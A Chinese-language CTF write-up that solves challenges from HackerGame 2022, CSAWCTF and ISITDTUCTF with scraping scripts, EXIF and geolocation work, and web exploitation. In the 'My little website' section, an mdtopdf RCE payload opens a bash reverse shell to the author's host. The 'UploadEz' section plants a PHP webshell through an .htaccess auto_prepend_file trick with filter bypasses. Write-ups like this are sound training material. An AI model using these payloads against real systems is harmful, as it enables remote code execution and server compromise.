HackerGame-2022
WEB
Xcaptcha
人机测试(bushi),要在一秒内回答三道特别大数字的加法问题来获得flag,编写脚本爬虫即可解决。首先要获取题目的html格式信息来提取加法问题,在访问题目网址之前要加上账号认证的cookie,格式为"session:xxxx",具体内容可以在访问题目网址时抓包得到。访问后会发现加法题目信息在 <label for=\"captcha1\">
标签中,共有三个题目三个标签,一一获取后计算得到答案,再传给服务器即可获得flag。发送答案的包格式也可以抓包获取,使用post上传"captcha1-3"三个键的值即可。脚本如下:
from urllib import request
import requests
import re
cookie={'session':".eJwdkEtLQnEQxb_LXV9o3g-hxTVchIna64o7JSuzEkVRib57_xsMs5kz53c4P9VhdT5UvQrNTNANWDhIKdNqJlDRZMEQciKDCNHoNqWyAySZQY3dZ7qgigEQMhNTehnhYgugropZdwizzJQgwwBVc1QQtYxw_xdR1GrGiaQAUWCmRZPqFpEF0t3ImbWkI6MgN03JYsMCgIrmTIEF4kDiwDWmZQdJYmQxVkB3Qw8uGVJFlBUdq7o6bDer764LoOiNBk83tzfN_PZtvG_z2K6_HmcrGc5i-LKkq-d2Mm4_cISz3Xz4vhwcLs160JzfN58Pq7bfHnc4nb9yM3ubNDRaTLf7nfP9Yny5659P0S6b03X1-wchu1ws.Y1ODyQ.eH6ZK6FOisgl_WCDbqTlPPngAvQ"}
req=requests.session()
url="http://202.38.93.111:10047/xcaptcha"
html=req.get(url,cookies=cookie)
print(html.text)
captcha1=re.findall('<label for=\"captcha1\">([0-9]*\+[0-9]*)',html.text)
captcha2=re.findall('<label for=\"captcha2\">([0-9]*\+[0-9]*)',html.text)
captcha3=re.findall('<label for=\"captcha3\">([0-9]*\+[0-9]*)',html.text)
cap1=eval(captcha1[0])
cap2=eval(captcha2[0])
cap3=eval(captcha3[0])
ans={
"captcha1":cap1,
"captcha2":cap2,
"captcha3":cap3
}
html=req.post(url,data=ans)
print(html.text)
得到flag:flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_619b077f58}
家目录里的秘密
VSC中的flag
flag在uer目录下的.config文件夹中,由于 grep -r flag ./*
命令不能包括隐藏文件,因此要么逐个文件夹尝试,要么直接使用VSCode打开该文件夹,然后全局搜索flag字符串。
Rclone里的flag
猜测flag在rclone配置文件flag2模块的密码中,rclone采用简单的可逆加密来对密码进行简单的替换,因此flag应该就在密码解密后的内容中,但不知道如何对密码进行解密。
旅行照片2.0
照片分析
exif信息使用ExifTool工具查看,或者直接右键文件查看属性也可以(信息足够,但是有歧义,属性中ISO标记为ISO速度让人摸不着头脑。有问题的时第一问,EXIF版本信息为0231,但答案是2.31...
社工实践
红米note9 4G 2340x1080
APA 东京湾幕张度假酒店:日本千叶县千叶市美浜区
圆形建筑为千叶海洋球场,球场在酒店西面,飞机往北飞
起飞点为羽田国际机场
(HND) Haneda Airport Departures
CSAWCTF
Web
Word wide web
使用爬虫截取返回信息,用正则匹配寻找有效的 <a
标签,匹配href后的路径并重复访问,直到找到flag。网页会用cookie检测用户,相应头中有字段 "Set-Cookie" 表示新cookie的值,将cookie设置为相应的值后再次发送即可完成认证,最后停止即可得到flag
手动设置cookie:
import requests
import re
url="http://web.chal.csaw.io:5010"
reg="/stuff"
ck={"solChain":"stuff"}
cnt=0
while 1:
strhtml = requests.get(url+reg,cookies=ck) #设置cookie
regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
cnt+=1
headers=strhtml.headers
print(headers)
try:
print(headers['Set-Cookie'])
reg_one=re.findall("solChain=([^;]*)",headers['Set-Cookie']) #提取新cookie
except:
print(cnt)
print(strhtml.text) #回显flag
print("no cookie!")
break
ck["solChain"]=reg_one[0] #设置cookie
print(ck)
if len(regs)==0:
print(cnt)
break
else:
reg=regs[0]
用session保持会话自动存储cookie:
import requests
import re
req=requests.session()
url="http://web.chal.csaw.io:5010"
reg="/stuff"
cnt=0
while 1:
strhtml = req.get(url+reg) #设置cookie
regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
cnt+=1
if len(regs)==0:
print(cnt)
print(strhtml.text) #回显flag
break
else:
reg=regs[0]
My little website
先访问自己的服务器,关闭一下防火墙先:CentOS-firewalld防火墙设置
<script>
fetch('http://myIp:23333');
</script>
Ncat: Connection from 35.88.90.167.
Ncat: Connection from 35.88.90.167:59630.
GET / HTTP/1.1
Host: myIp:23333
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.0 Safari/537.36
Accept: */*
Origin: http://localhost:44791
Referer: http://localhost:44791/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
得到的回显如上,接收到一些信息,如UA和Origin:host、referer和origin的区别
若是使用https协议访问服务器,会导致服务器接受到乱码信息
由于origin显示的是服务器的地址,因此它应该可以访问自己,尝试访问其本地的内容并将其渲染出来:
<script>
fetch('/')
.then(response => response.text())
.then(data => document.write(" <pre> "+data));
</script>
这里的主要问题在于如何将fetch到的内容渲染出来,一方面使用document.write(str)将字符串写入当前的文件中,另一方面fetch返回的response中 text()
函数对应于 json()
可以将访问得到响应内容的主体部分,也就是HTML内容以文本的形式返回回来。(一开始遇到的主要问题是不知道这个response到底把HTML内容放哪去了)由于写进去的是字符串内容,可以直接在前面连接一个 <pre>
标签,保留目标内容中的空白字符,使得展示的内容有缩进。(直接展示会合并空白字符导致可读性差)
进去以后会发现有个node.js存放依赖列表的package.json文件,其中有个依赖是"mdtopdf 4.0.0",搜索相关的CVE会发现它在5.0.0版本前有个RCE漏洞,直接搜索可找到PoC,将payload换成revshell内容即可:
---js
((require("child_process")).execSync("bash -c 'bash -i >& /dev/tcp/ip/23333 0>&1 '"))
---RCE
PoC中的第一个n其实是\n,而且这个漏洞看起来非常的奇怪,也不知道是怎么实现的rce(好像这诡异的注释都是RCE的原因)
由于默认的shell是sh,而sh没法revshell,因此手动用bash读取命令,最后的单双引号中至少要有一个前面有一个空格,否则就无法成功,原因不明。
得到shell后直接 cat /flag.txt
即可得到flag:CTF{pdf_c0nt1nu3s_70_5uCK}
ISITDTUCTF
WEB
UploadEz
网页源码:
<?php
//flag in flag
//Attempt to upload failed, you have to start over
if (!isset($_GET['shell']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$shell = $_GET['shell'];
if (preg_match('/(on|flag|index|cat|file)/i', $shell)) {
die("Try hard broooooo !!!");
}
$filename = $_GET['filename'];
if (preg_match("/[^a-z.]/", $filename)) {
die("Try hard broooooo !!!");
}
file_put_contents($filename, $shell . "\nWelcome to ISITDTU CTF 2022");
?>
有一个 file_put_contents($filename,$shell."\nWelcome to ISITDTU CTF 2022");
效果是将shell中的内容接上一段文本写到filename文件中。因此相当于可以上传文件。
起初的思路是上传一个php脚本然后直接访问执行,但是在Apache的配置文件"000-default.conf"中:
<Location />
AllowOverride all
Require all granted
</Location>
<Location /index.php>
php_admin_flag engine on
</Location>
服务器规定只对index.php进行php解析,尽管"index"没被过滤,但无法覆盖index.php。
留意到配置中打开了 AllowOverride all
,".htaccess"文件被启用了,所以可以通过上传".htaccess"来修改服务器配置,从而执行原本不能执行的php脚本。.htaccess:
php_value auto_prepend_fi\
le .htaccess
#<?php echo exec('nl /*'); ?>
#\
Welcome to ISITDTU CTF 2022#
php_value auto_prepend_file qwq.txt
会在主网页被解析之前先解析所选中的文件"qwq.txt",因此就可以执行木马命令。不合格式的内容会污染".htaccess"文件,导致服务器配置混乱,直接炸掉,因此需要用"#"注释掉脏内容。
"\"可以连接两行的内容(感觉是转义的跨行连接),一方面绕过对"file"字符的过滤,一方面注释掉连接的冗余内容(冗余内容前面有个换行,不能直接注释掉)。而解析php时"#"并不是注释,不影响php执行。
payload:
?filename=.htaccess&shell=php_value auto_prepend_fi\%0ale .htaccess %0a %23 <?php system('ca'.'t /fl'.'ag'); ?>%0a%23\
Little Tips:
- "?>"不能缺少,否则php解析会失败;
exec
需要加上echo,且只会返回执行结果的第一项,最好采用system()
;- "\n#\"换成"#\\n"就戳啦;
- 输入时"#"要写成"%23",井号本身有特殊含义;
- GET传入键值时等号后的内容原样输入支持空格,因此引号也会被读入,同时框内的内容也不用反斜杠转义,因为可以采用URL编码,因此传反斜杠时会原样输入进去。